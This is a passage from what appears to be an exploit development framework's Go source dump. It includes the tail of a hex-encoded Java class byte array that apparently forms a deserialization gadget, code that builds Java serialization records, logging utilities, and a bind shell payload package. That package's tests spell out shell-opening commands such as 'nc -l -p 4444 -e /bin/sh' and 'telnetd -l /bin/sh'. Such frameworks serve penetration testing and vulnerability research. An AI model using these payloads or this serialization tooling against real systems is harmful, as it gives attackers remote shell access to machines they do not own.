+\n\t\t\"\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\" +\n\t\t\"\\x68\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\" +\n\t\t\"\\x73\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x65\\x72\\x2f\\x53\\x65\\x72\\x69\\x61\" +\n\t\t\"\\x6c\\x69\\x7a\\x61\\x74\\x69\\x6f\\x6e\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x3b\" +\n\t\t\"\\x29\\x56\\x01\\x00\\x08\\x69\\x74\\x65\\x72\\x61\\x74\\x6f\\x72\\x01\\x00\\x35\" +\n\t\t\"\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\" +\n\t\t\"\\x63\\x68\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\" +\n\t\t\"\\x2f\\x64\\x74\\x6d\\x2f\\x44\\x54\\x4d\\x41\\x78\\x69\\x73\\x49\\x74\\x65\\x72\" +\n\t\t\"\\x61\\x74\\x6f\\x72\\x3b\\x01\\x00\\x07\\x68\\x61\\x6e\\x64\\x6c\\x65\\x72\\x01\" +\n\t\t\"\\x00\\x41\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\" +\n\t\t\"\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\" +\n\t\t\"\\x61\\x6c\\x2f\\x73\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x65\\x72\\x2f\\x53\\x65\" +\n\t\t\"\\x72\\x69\\x61\\x6c\\x69\\x7a\\x61\\x74\\x69\\x6f\\x6e\\x48\\x61\\x6e\\x64\\x6c\" +\n\t\t\"\\x65\\x72\\x3b\\x01\\x00\\x04\\x43\\x6f\\x64\\x65\\x01\\x00\\x0d\\x53\\x74\\x61\" +\n\t\t\"\\x63\\x6b\\x4d\\x61\\x70\\x54\\x61\\x62\\x6c\\x65\\x01\\x00\\x0f\\x4c\\x69\\x6e\" +\n\t\t\"\\x65\\x4e\\x75\\x6d\\x62\\x65\\x72\\x54\\x61\\x62\\x6c\\x65\\x01\\x00\\x12\\x4c\" +\n\t\t\"\\x6f\\x63\\x61\\x6c\\x56\\x61\\x72\\x69\\x61\\x62\\x6c\\x65\\x54\\x61\\x62\\x6c\" +\n\t\t\"\\x65\\x01\\x00\\x0a\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6f\\x6e\\x73\\x00\\x21\" +\n\t\t\"\\x00\\x02\\x00\\x04\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x05\\x00\\x06\\x00\\x00\" +\n\t\t\"\\x00\\x02\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x03\\x00\\x01\\x00\\x09\\x00\\x0a\" +\n\t\t\"\\x00\\x01\\x00\\x43\\x00\\x00\\x00\\xb1\\x00\\x04\\x00\\x03\\x00\\x00\\x00\\x34\" +\n\t\t\"\\x2a\\xb7\\x00\\x0e\\xb2\\x00\\x13\\x12\\x15\\xb6\\x00\\x1b\\x99\\x00\\x27\\x06\" +\n\t\t\"\\xbd\\x00\\x17\\x59\\x03\\x12\\x1d\\x53\\x59\\x04\\x12\\x1f\\x53\\x59\\x05\\x12\" +\n\t\t\"\\x21\\x53\\x4c\\xb8\\x00\\x27\\x2b\\xb6\\x00\\x2b\\x57\\xa7\\x00\\x08\\x4d\\x2c\" +\n\t\t\"\\xb6\\x00\\x30\\xb1\\x00\\x01\\x00\\x23\" +\n\t\t\"\\x00\\x2b\\x00\\x2e\\x00\\x0c\\x00\\x03\\x00\\x44\\x00\\x00\\x00\\x15\\x00\\x02\" +\n\t\t\"\\xff\\x00\\x2e\\x00\\x02\\x07\\x00\\x02\\x07\\x00\\x2d\\x00\\x01\\x07\\x00\\x0c\" +\n\t\t\"\\xfa\\x00\\x04\\x00\\x45\\x00\\x00\\x00\\x22\\x00\\x08\\x00\\x00\\x00\\x0c\\x00\" +\n\t\t\"\\x04\\x00\\x0d\\x00\\x0f\\x00\\x0e\\x00\\x23\\x00\\x10\\x00\\x2b\\x00\\x13\\x00\" +\n\t\t\"\\x2e\\x00\\x11\\x00\\x2f\\x00\\x12\\x00\\x33\\x00\\x16\\x00\\x46\\x00\\x00\\x00\" +\n\t\t\"\\x20\\x00\\x03\\x00\\x2f\\x00\\x04\\x00\\x31\\x00\\x32\\x00\\x02\\x00\\x23\\x00\" +\n\t\t\"\\x10\\x00\\x33\\x00\\x2c\\x00\\x01\\x00\\x00\\x00\\x34\\x00\\x34\\x00\\x35\\x00\" +\n\t\t\"\\x00\\x00\\x01\\x00\\x36\\x00\\x37\\x00\\x02\\x00\\x43\\x00\\x00\\x00\\x3f\\x00\" +\n\t\t\"\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\xb1\\x00\\x00\\x00\\x02\\x00\\x45\\x00\\x00\" +\n\t\t\"\\x00\\x06\\x00\\x01\\x00\\x00\\x00\\x1b\\x00\\x46\\x00\\x00\\x00\\x20\\x00\\x03\" +\n\t\t\"\\x00\\x00\\x00\\x01\\x00\\x34\\x00\\x35\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x3a\" +\n\t\t\"\\x00\\x3b\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x3c\\x00\\x3d\\x00\\x02\\x00\\x47\" +\n\t\t\"\\x00\\x00\\x00\\x04\\x00\\x01\\x00\\x39\\x00\\x01\\x00\\x36\\x00\\x3e\\x00\\x02\" +\n\t\t\"\\x00\\x43\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\xb1\\x00\" +\n\t\t\"\\x00\\x00\\x02\\x00\\x45\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\\x00\\x20\\x00\" +\n\t\t\"\\x46\\x00\\x00\\x00\\x2a\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x34\\x00\\x35\\x00\" +\n\t\t\"\\x00\\x00\\x00\\x00\\x01\\x00\\x3a\\x00\\x3b\\x00\\x01\\x00\\x00\\x00\\x01\\x00\" +\n\t\t\"\\x3f\\x00\\x40\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x41\\x00\\x42\\x00\\x03\\x00\" +\n\t\t\"\\x47\\x00\\x00\\x00\\x04\\x00\\x01\\x00\\x39\\x00\\x00\"\n\n\treturn complete\n}\n"
  },
  {
    "path": "java/objects.go",
    "content": "/*\nThis is where the logic is defined to construct sound \"records\" for the Java serialization protocol as defined here: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html\n\nAll fields MUST implement the Field interface.\nAll Content types MUST implement the TCContent interface.\n*/\npackage java\n\nimport (\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\ntype Field interface {\n\tToFieldBin() ([]byte, bool)\n}\n\n// Any java serialization record that can may be contained within a TCContent struct must implement this interface.\ntype TCContent interface {\n\tToBytes() ([]byte, bool)\n}\n\ntype TCObject struct {\n\tInfoContent TCContent\n\tTCContents  []TCContent\n}\n\ntype TCArray struct {\n\tInfoContent TCContent\n\tTCContents  []TCContent\n}\n\ntype ArrayBytes struct {\n\tData []byte\n}\n\ntype TCProxyClassDesc struct {\n\tInfoContent TCContent\n\tTCContents  []TCContent\n\n\tInterfaces     []string\n\tSuperClassDesc TCClassDesc\n}\n\ntype TCInteger struct {\n\tValue int\n}\n\ntype TCFloat struct {\n\tValue float32\n}\n\ntype TCBlockData struct {\n\tValue   string\n\tOmitEnd bool\n}\n\ntype TCNull struct{}\n\ntype TCEndBlockData struct{}\n\ntype TCString struct {\n\tValue string\n}\n\ntype TCReference struct {\n\tHandler []byte\n}\n\ntype TCClass struct {\n\tInfoContent TCContent\n}\n\ntype TCClassDesc struct {\n\tName             string\n\tSerialVersionUID []byte // Should be 8 bytes\n\tFlags            byte\n\tFields           []Field\n\tSuperClassDesc   TCContent\n}\n\ntype ObjectField struct {\n\tName  string\n\tValue any\n}\n\ntype ArrayField struct {\n\tName  string\n\tValue string\n}\n\ntype IntegerField struct {\n\tName string\n}\n\ntype FloatField struct {\n\tName string\n}\n\nfunc (tcObject TCObject) ToBytes() ([]byte, bool) {\n\tbinary := []byte{TCObjectCode}\n\n\tinfoContentString, ok := tcObject.InfoContent.ToBytes()\n\tif !ok {\n\t\treturn []byte{}, false\n\t}\n\tbinary = append(binary, infoContentString...)\n\n\tfor _, tcContent := range tcObject.TCContents {\n\t\tcontentString, ok := tcContent.ToBytes()\n\t\tif !ok {\n\t\t\treturn []byte{}, false\n\t\t}\n\t\tbinary = append(binary, contentString...)\n\t}\n\n\treturn binary, true\n}\n\nfunc (tcClass TCClass) ToBytes() ([]byte, bool) {\n\tbinary := []byte{TCClassCode}\n\n\tinfoContentString, ok := tcClass.InfoContent.ToBytes()\n\tif !ok {\n\t\treturn []byte{}, false\n\t}\n\tbinary = append(binary, infoContentString...)\n\n\treturn binary, true\n}\n\nfunc (tcArray TCArray) ToBytes() ([]byte, bool) {\n\tusingArrayBytes := false\n\tvar arrayBytes ArrayBytes // placeholder\n\tbinary := []byte{TCArrayCode}\n\n\tinfoContentString, ok := tcArray.InfoContent.ToBytes()\n\tif !ok {\n\t\treturn []byte{}, false\n\t}\n\n\tbinary = append(binary, infoContentString...)\n\n\tfor _, tcContent := range tcArray.TCContents {\n\t\tswitch tcContent := tcContent.(type) {\n\t\tcase ArrayBytes:\n\t\t\tusingArrayBytes = true\n\t\t\tarrayBytes = tcContent\n\t\tdefault:\n\t\t\t// do nothing\n\t\t}\n\t}\n\n\tif usingArrayBytes && len(tcArray.TCContents) > 1 {\n\t\toutput.PrintFrameworkError(\"TCArray.TCContents cannot contain more than one item if one item is of type: ArrayBytes\")\n\n\t\treturn []byte{}, false\n\t}\n\n\tif usingArrayBytes {\n\t\tbinary = append(binary, []byte(transform.PackBigInt32(len(arrayBytes.Data)))...)\n\t} else {\n\t\tbinary = append(binary, []byte(transform.PackBigInt32(len(tcArray.TCContents)))...)\n\t}\n\n\tfor _, tcContent := range tcArray.TCContents {\n\t\tcontentString, ok := tcContent.ToBytes()\n\t\tif !ok {\n\t\t\treturn []byte{}, false\n\t\t}\n\t\tbinary = append(binary, contentString...)\n\t}\n\n\treturn binary, true\n}\n\nfunc (tcClassDesc TCClassDesc) getFieldsBin() ([]byte, bool) {\n\tbinary := []byte(transform.PackBigInt16(len(tcClassDesc.Fields)))\n\tfor _, field := range tcClassDesc.Fields {\n\t\tbin, ok := field.ToFieldBin()\n\t\tif !ok {\n\t\t\toutput.PrintfFrameworkError(\"Failed to get bin for field %q\", field)\n\n\t\t\treturn []byte{}, false\n\t\t}\n\t\tbinary = append(binary, bin...)\n\t}\n\n\treturn binary, true\n}\n\nfunc (tcClassDesc TCClassDesc) ToBytes() ([]byte, bool) {\n\tfieldsBinString, ok := tcClassDesc.getFieldsBin()\n\tif !ok {\n\t\treturn []byte{}, false\n\t}\n\n\tbinary := []byte{TCClassDescCode}\n\tbinary = append(binary, []byte(lenPrefixedString(tcClassDesc.Name))...)\n\tbinary = append(binary, tcClassDesc.SerialVersionUID...)\n\tbinary = append(binary, tcClassDesc.Flags)\n\tbinary = append(binary, fieldsBinString...)\n\n\t// add support for other annotations as needed\n\tbinary = append(binary, TCEndBlockDataCode)\n\n\tif tcClassDesc.SuperClassDesc == nil {\n\t\tbinary = append(binary, TCNullCode)\n\t} else {\n\t\tsuperClassString, ok := tcClassDesc.SuperClassDesc.ToBytes()\n\t\tif !ok {\n\t\t\treturn []byte{}, false\n\t\t}\n\t\tbinary = append(binary, superClassString...)\n\t}\n\n\treturn binary, true\n}\n\nfunc (tcBlockData TCBlockData) ToBytes() ([]byte, bool) {\n\tif len(tcBlockData.Value) > 0xff {\n\t\toutput.PrintFrameworkError(\"tcBlockData value is too large, must use tcBlockDataLong instead (not yet implemented)\")\n\n\t\treturn []byte{}, false\n\t}\n\tbinary := []byte{TCBlockDataCode, byte(len(tcBlockData.Value))} // code and value\n\tbinary = append(binary, []byte(tcBlockData.Value)...)\n\n\tif tcBlockData.OmitEnd {\n\t\treturn binary, true\n\t}\n\n\treturn append(binary, TCEndBlockDataCode), true\n}\n\nfunc (tcNull TCNull) ToBytes() ([]byte, bool) {\n\treturn []byte{TCNullCode}, true\n}\n\nfunc (arrayBytes ArrayBytes) ToBytes() ([]byte, bool) {\n\treturn arrayBytes.Data, true\n}\n\nfunc (tcEndBlockData TCEndBlockData) ToBytes() ([]byte, bool) {\n\treturn []byte{TCEndBlockDataCode}, true\n}\n\nfunc (tcFloat TCFloat) ToBytes() ([]byte, bool) {\n\treturn []byte(transform.PackBigFloat32(tcFloat.Value)), true\n}\n\nfunc (tcInteger TCInteger) ToBytes() ([]byte, bool) {\n\treturn []byte(transform.PackBigInt32(tcInteger.Value)), true\n}\n\nfunc (tcString TCString) ToBytes() ([]byte, bool) {\n\treturn append([]byte{TCStringCode}, lenPrefixedString(tcString.Value)...), true\n}\n\nfunc (tcReference TCReference) ToBytes() ([]byte, bool) {\n\tif tcReference.Handler == nil {\n\t\toutput.PrintFrameworkError(\"TCReference Handler member is empty!\")\n\n\t\treturn []byte{}, false\n\t}\n\n\treturn append([]byte{TCReferenceCode}, tcReference.Handler...), true\n}\n\nfunc (tcProxyClassDesc TCProxyClassDesc) ToBytes() ([]byte, bool) {\n\tinterfacesString := \"\"\n\tvar interfacesStringSb251 strings.Builder\n\tfor _, interfaceItem := range tcProxyClassDesc.Interfaces {\n\t\tinterfacesStringSb251.WriteString(lenPrefixedString(interfaceItem))\n\t}\n\tinterfacesString += interfacesStringSb251.String()\n\n\tsuperClassBytes, ok := tcProxyClassDesc.SuperClassDesc.ToBytes()\n\tif !ok {\n\t\treturn []byte{}, false\n\t}\n\n\tbinary := []byte{TCProxyClassDescCode}\n\tbinary = append(binary, transform.PackBigInt32(len(tcProxyClassDesc.Interfaces))...)\n\tbinary = append(binary, interfacesString...)\n\tbinary = append(binary, TCEndBlockDataCode)\n\tbinary = append(binary, superClassBytes...)\n\n\treturn binary, true\n}\n\nfunc (arrayField ArrayField) ToFieldBin() ([]byte, bool) {\n\tbinary := []byte{TypeArrayCode}\n\tbinary = append(binary, lenPrefixedString(arrayField.Name)...)\n\tbinary = append(binary, TCStringCode)\n\tbinary = append(binary, lenPrefixedString(arrayField.Value)...)\n\n\treturn binary, true\n}\n\nfunc (floatField FloatField) ToFieldBin() ([]byte, bool) {\n\tbinary := []byte{TypeFloatCode}\n\tbinary = append(binary, lenPrefixedString(floatField.Name)...)\n\n\treturn binary, true\n}\n\nfunc (integerField IntegerField) ToFieldBin() ([]byte, bool) {\n\tbinary := []byte{TypeIntegerCode}\n\tbinary = append(binary, lenPrefixedString(integerField.Name)...)\n\n\treturn binary, true\n}\n\nfunc (objectField ObjectField) ToFieldBin() ([]byte, bool) {\n\tbinary := []byte{TypeObjectCode}\n\tswitch v := objectField.Value.(type) {\n\tcase string:\n\t\tbinary = append(binary, lenPrefixedString(objectField.Name)...)\n\t\tbinary = append(binary, TCStringCode)\n\t\tbinary = append(binary, lenPrefixedString(v)...)\n\n\t\treturn binary, true\n\tcase TCReference:\n\t\tbytes, ok := v.ToBytes()\n\t\tif !ok {\n\t\t\treturn []byte{}, false\n\t\t}\n\t\tbinary = append(binary, lenPrefixedString(objectField.Name)...)\n\t\tbinary = append(binary, bytes...)\n\n\t\treturn binary, true\n\tdefault:\n\t\toutput.PrintfFrameworkError(\"Invalid type provided to ObjectField.Value\")\n\n\t\treturn []byte{}, false\n\t}\n}\n\nfunc lenPrefixedString(input string) string {\n\treturn transform.PackBigInt16(len(input)) + input\n}\n"
  },
  {
    "path": "output/commonlog.go",
    "content": "// Package output handles structured logging for the framework and exploits.\n//\n// Our goals for logging in go-exploit were something like this:\n//\n//   - Structured logging for easy parsing (text and JSON).\n//   - The option to log to the CLI or directly to a file.\n//   - Program output to stdout, and errors to stderr\n//   - Different log level controls for the framework and the exploits implementation.\n//\n// To achieve all of the above, we split the implementation into two logging APIs:\n// exploitlog.go and frameworklog.go. Exploit should use exploitlog.go API such as\n// output.PrintFrameworkSuccess(), output.PrintFrameworkError(), etc. Framework should use frameworklog.go\n// API such as output.PrintFrameworkSuccess(), output.PrintFrameworkError(), etc.\npackage output\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\t\"os\"\n\t\"sync\"\n)\n\n// The exploit framework can use multiple threads so logging should acquire this lock.\nvar logMutex sync.Mutex\n\n// The standard output logging descriptor (can be replaced by a file descriptor).\nvar stdOutputDesc io.Writer = os.Stdout\n\n// The standard error logging descriptor (can be replaced by a file descriptor).\nvar stdErrDesc io.Writer = os.Stderr\n\n// FormatJSON indicates if we should use TextHandler or NJSONHandler for logging.\nvar FormatJSON = false\n\n// If logging to a file, function will create/append the file and assign the\n// file as output for all log types.\nfunc SetOutputFile(file string) bool {\n\tlogFile, err := os.OpenFile(file, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0o644)\n\tif err != nil {\n\t\tPrintError(err.Error())\n\n\t\treturn false\n\t}\n\n\tstdOutputDesc = logFile\n\tstdErrDesc = logFile\n\n\treturn true\n}\n\nconst (\n\t// Extreme debugging that shows executions.\n\tLevelTrace = slog.Level(-8)\n\t// Useful tidbits for debugging potential problems.\n\tLevelDebug = slog.LevelDebug\n\t// A hihg-level status updat.\n\tLevelStatus = slog.LevelInfo\n\t// A non-critical issue that is bubbled up to the user.\n\tLevelWarning = slog.LevelWarn\n\t// A special message for outputing software versions.\n\tLevelVersion = slog.Level(5)\n\t// An important status message.\n\tLevelSuccess = slog.Level(6)\n\t// An important error message.\n\tLevelError = slog.LevelError\n)\n\n// LogLevels is a mapping of the log names to slog level.\nvar LogLevels = map[string]slog.Level{\n\t\"TRACE\":   LevelTrace,\n\t\"DEBUG\":   LevelDebug,\n\t\"STATUS\":  LevelStatus,\n\t\"WARNING\": LevelWarning,\n\t\"VERSION\": LevelVersion,\n\t\"SUCCESS\": LevelSuccess,\n\t\"ERROR\":   LevelError,\n}\n\nfunc customLogLevels(_ []string, a slog.Attr) slog.Attr {\n\tif a.Key == slog.LevelKey {\n\t\tswitch a.Value.Any().(slog.Level) {\n\t\tcase LevelTrace:\n\t\t\ta.Value = slog.StringValue(\"TRACE\")\n\t\tcase LevelDebug:\n\t\t\ta.Value = slog.StringValue(\"DEBUG\")\n\t\tcase LevelStatus:\n\t\t\ta.Value = slog.StringValue(\"STATUS\")\n\t\tcase LevelWarning:\n\t\t\ta.Value = slog.StringValue(\"WARNING\")\n\t\tcase LevelVersion:\n\t\t\ta.Value = slog.StringValue(\"VERSION\")\n\t\tcase LevelSuccess:\n\t\t\ta.Value = slog.StringValue(\"SUCCESS\")\n\t\tcase LevelError:\n\t\t\ta.Value = slog.StringValue(\"ERROR\")\n\t\t}\n\t}\n\n\treturn a\n}\n\n// This is a bit icky. We wanted to be able to use slog but also send error messages\n// to stderr and program messages to stdout. This.\nfunc resetLogger(descriptor io.Writer, minLevel slog.Level) *slog.Logger {\n\tif FormatJSON {\n\t\treturn slog.New(slog.NewJSONHandler(descriptor, &slog.HandlerOptions{\n\t\t\tLevel:       minLevel,\n\t\t\tReplaceAttr: customLogLevels,\n\t\t}))\n\t}\n\n\treturn slog.New(slog.NewTextHandler(descriptor, &slog.HandlerOptions{\n\t\tLevel:       minLevel,\n\t\tReplaceAttr: customLogLevels,\n\t}))\n}\n\n// Displaying content on our fake shell. Need to hold the log mutex for\n// writing to stdout. In theory we could log here too if wanted?\nfunc PrintShell(msg string) {\n\tlogMutex.Lock()\n\tdefer logMutex.Unlock()\n\n\tfmt.Print(msg)\n\tos.Stdout.Sync()\n}\n"
  },
  {
    "path": "output/exploitlog.go",
    "content": "package output\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n)\n\n// the log level for exploits.\nvar exploitLevel = LevelStatus\n\n// Sets the log level for exploit logging. Anything below the provided value will not get logged.\nfunc SetExploitLogLevel(level slog.Level) {\n\texploitLevel = level\n}\n\n// reset logger to the appropriate level / output location and write the log.\nfunc doExploitLog(descriptor io.Writer, level slog.Level, msg string, keys ...any) {\n\tlogMutex.Lock()\n\tdefer logMutex.Unlock()\n\n\tif level >= exploitLevel {\n\t\tlogger := resetLogger(descriptor, exploitLevel)\n\n\t\tctx := context.Background()\n\t\tlogger.Log(ctx, level, msg, keys...)\n\t}\n}\n\n// PrintfTrace formats according to a format specifier and logs as TRACE\n// If the exploit is not logging to file, this will go to standard error.\nfunc PrintfTrace(format string, msg ...interface{}) {\n\tPrintTrace(fmt.Sprintf(format, msg...))\n}\n\n// PrintTrace logs a string as TRACE\n// If the exploit is not logging to file, this will go to standard error.\nfunc PrintTrace(msg string, keys ...any) {\n\tdoExploitLog(stdErrDesc, LevelTrace, msg, keys...)\n}\n\n// PrintfDebug formats according to a format specifier and logs as DEBUG\n// If the exploit is not logging to file, this will go to standard error.\nfunc PrintfDebug(format string, msg ...interface{}) {\n\tPrintDebug(fmt.Sprintf(format, msg...))\n}\n\n// PrintDebug logs a string as TRACE\n// If the exploit is not logging to file, this will go to standard error.\nfunc PrintDebug(msg string, keys ...any) {\n\tdoExploitLog(stdErrDesc, LevelDebug, msg, keys...)\n}\n\n// PrintfStatus formats according to a format specifier and logs as STATUS (aka INFO)\n// If the exploit is not logging to file, this will go to standard out.\nfunc PrintfStatus(format string, msg ...interface{}) {\n\tPrintStatus(fmt.Sprintf(format, msg...))\n}\n\n// PrintStatus logs a string as STATUS (aka INFO)\n// If the exploit is not logging to file, this will go to standard out.\nfunc PrintStatus(msg string, keys ...any) {\n\tdoExploitLog(stdOutputDesc, LevelStatus, msg, keys...)\n}\n\n// PrintfWarn formats according to a format specifier and logs as WARN\n// If the exploit is not logging to file, this will go to standard error.\nfunc PrintfWarn(format string, msg ...interface{}) {\n\tPrintWarn(fmt.Sprintf(format, msg...))\n}\n\n// PrintWarn logs a string as WARN\n// If the exploit is not logging to file, this will go to standard error.\nfunc PrintWarn(msg string, keys ...any) {\n\tdoExploitLog(stdErrDesc, LevelWarning, msg, keys...)\n}\n\n// PrintVersion logs a string as VERSION\n// If the exploit is not logging to file, this will go to standard output.\nfunc PrintVersion(msg string, host string, port int, version string) {\n\t// update the db with the extracted version\n\tdoExploitLog(stdOutputDesc, LevelVersion, msg, \"host\", host, \"port\", port, \"version\", version)\n}\n\n// PrintfSuccess formats according to a format specifier and logs as SUCCESS\n// If the exploit is not logging to file, this will go to standard out.\nfunc PrintfSuccess(format string, msg ...interface{}) {\n\tPrintSuccess(fmt.Sprintf(format, msg...))\n}\n\n// PrintStatus logs a string as SUCCESS\n// If the exploit is not logging to file, this will go to standard out.\nfunc PrintSuccess(msg string, keys ...any) {\n\tdoExploitLog(stdOutputDesc, LevelSuccess, msg, keys...)\n}\n\n// PrintfError formats according to a format specifier and logs as ERROR\n// If the exploit is not logging to file, this will go to standard error.\nfunc PrintfError(format string, msg ...interface{}) {\n\tPrintError(fmt.Sprintf(format, msg...))\n}\n\n// PrintError logs a string as ERROR\n// If the exploit is not logging to file, this will go to standard error.\nfunc PrintError(msg string, keys ...any) {\n\tdoExploitLog(stdErrDesc, LevelError, msg, keys...)\n}\n"
  },
  {
    "path": "output/frameworklog.go",
    "content": "package output\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n)\n\n// The log level for the framework.\nvar frameworkLevel = LevelStatus\n\n// Sets the log level for framework logging. Anything below the provided value will not get logged.\nfunc SetFrameworkLogLevel(level slog.Level) {\n\tframeworkLevel = level\n}\n\n// reset logger to the appropriate level / output location and write the log.\nfunc doFrameworkLog(descriptor io.Writer, level slog.Level, msg string, keys ...any) {\n\tlogMutex.Lock()\n\tdefer logMutex.Unlock()\n\n\tif level >= frameworkLevel {\n\t\tlogger := resetLogger(descriptor, frameworkLevel)\n\n\t\tctx := context.Background()\n\t\tlogger.Log(ctx, level, msg, keys...)\n\t}\n}\n\n// PrintfFrameworkTrace formats according to a format specifier and logs as TRACE\n// If the framework is not logging to file, this will go to standard error.\nfunc PrintfFrameworkTrace(format string, msg ...interface{}) {\n\tPrintFrameworkTrace(fmt.Sprintf(format, msg...))\n}\n\n// PrintFrameworkTrace logs a string as TRACE\n// If the framework is not logging to file, this will go to standard error.\nfunc PrintFrameworkTrace(msg string, keys ...any) {\n\tdoFrameworkLog(stdErrDesc, LevelTrace, msg, keys...)\n}\n\n// PrintfFrameworkDebug formats according to a format specifier and logs as DEBUG\n// If the framework is not logging to file, this will go to standard error.\nfunc PrintfFrameworkDebug(format string, msg ...interface{}) {\n\tPrintFrameworkDebug(fmt.Sprintf(format, msg...))\n}\n\n// PrintFrameworkDebug logs a string as TRACE\n// If the framework is not logging to file, this will go to standard error.\nfunc PrintFrameworkDebug(msg string, keys ...any) {\n\tdoFrameworkLog(stdErrDesc, LevelDebug, msg, keys...)\n}\n\n// PrintfFrameworkStatus formats according to a format specifier and logs as STATUS (aka INFO)\n// If the framework is not logging to file, this will go to standard out.\nfunc PrintfFrameworkStatus(format string, msg ...interface{}) {\n\tPrintFrameworkStatus(fmt.Sprintf(format, msg...))\n}\n\n// PrintFrameworkStatus logs a string as STATUS (aka INFO)\n// If the framework is not logging to file, this will go to standard out.\nfunc PrintFrameworkStatus(msg string, keys ...any) {\n\tdoFrameworkLog(stdOutputDesc, LevelStatus, msg, keys...)\n}\n\n// PrintfFrameworkWarn formats according to a format specifier and logs as WARN\n// If the framework is not logging to file, this will go to standard error.\nfunc PrintfFrameworkWarn(format string, msg ...interface{}) {\n\tPrintFrameworkWarn(fmt.Sprintf(format, msg...))\n}\n\n// PrintFrameworkWarn logs a string as WARN\n// If the framework is not logging to file, this will go to standard error.\nfunc PrintFrameworkWarn(msg string, keys ...any) {\n\tdoFrameworkLog(stdErrDesc, LevelStatus, msg, keys...)\n}\n\n// PrintfFrameworkSuccess formats according to a format specifier and logs as SUCCESS\n// If the framework is not logging to file, this will go to standard out.\nfunc PrintfFrameworkSuccess(format string, msg ...interface{}) {\n\tPrintFrameworkSuccess(fmt.Sprintf(format, msg...))\n}\n\n// PrintFrameworkSuccess logs a string as SUCCESS\n// If the framework is not logging to file, this will go to standard out.\nfunc PrintFrameworkSuccess(msg string, keys ...any) {\n\tdoFrameworkLog(stdOutputDesc, LevelSuccess, msg, keys...)\n}\n\n// PrintfFrameworkError formats according to a format specifier and logs as ERROR\n// If the framework is not logging to file, this will go to standard error.\nfunc PrintfFrameworkError(format string, msg ...interface{}) {\n\tPrintFrameworkError(fmt.Sprintf(format, msg...))\n}\n\n// PrintFrameworkError logs a string as ERROR\n// If the framework is not logging to file, this will go to standard error.\nfunc PrintFrameworkError(msg string, keys ...any) {\n\tdoFrameworkLog(stdErrDesc, LevelError, msg, keys...)\n}\n"
  },
  {
    "path": "payload/bindshell/bindshell.go",
    "content": "// Bind shell payloads & listeners.\n//\n// The bindshell package contains all the code for generating bind shells that listen on a port for\n// interaction.\n//\n// As with all the payload sub-packages, each of these payload types can be used either in the raw string\n// format for manipulation or via the specific payload type provided by the project. This allows the\n// following usage patterns to have the same output:\n//\n//\tbindshell.Netcat.Default(1337)\n//\tbindshell.Netcat.Mknod(1337)\n//\tfmt.Sprintf(bindshell.NetcatMknod, 1337)\npackage bindshell\n\ntype BindShell interface {\n\tDefault\n}\n\ntype Default interface{}\n\ntype (\n\tNetcatPayload struct{}\n\tTelnetPayload struct{}\n)\n\nvar (\n\tNetcat = &NetcatPayload{}\n\tTelnet = &TelnetPayload{}\n)\n"
  },
  {
    "path": "payload/bindshell/bindshell_test.go",
    "content": "package bindshell_test\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/bindshell\"\n)\n\nfunc TestBindShellNetcatGaping(t *testing.T) {\n\tpayload := bindshell.Netcat.Gaping(4444)\n\n\tif payload != \"nc -l -p 4444 -e /bin/sh\" {\n\t\tt.Fatal(payload)\n\t}\n\n\tt.Log(payload)\n}\n\nfunc TestBindShellTelnetdLogin(t *testing.T) {\n\tpayload := bindshell.Telnet.TelnetdLogin(1270)\n\n\tif payload != \"telnetd -l /bin/sh -p 1270\" {\n\t\tt.Fatal(payload)\n\t}\n\n\tt.Log(payload)\n}\n\nfunc TestBindShellNetcatMknod(t *testing.T) {\n\tpayload := bindshell.Netcat.Mknod(1270)\n\n\tif !strings.HasPrefix(payload, \"cd /tmp; mknod \") {\n\t\tt.Fatal(payload)\n\t}\n\n\tt.Log(payload)\n}\n\nfunc TestBindShellNetcatMkfifo(t *testing.T) {\n\tpayload := bindshell.Netcat.Mkfifo(1270)\n\n\tif !strings.HasPrefix(payload, \"cd /tmp; mkfifo \") {\n\t\tt.Fatal(payload)\n\t}\n\n\tt.Log(payload)\n}\n"
  },
  {
    "path": "payload/bindshell/netcat.go",
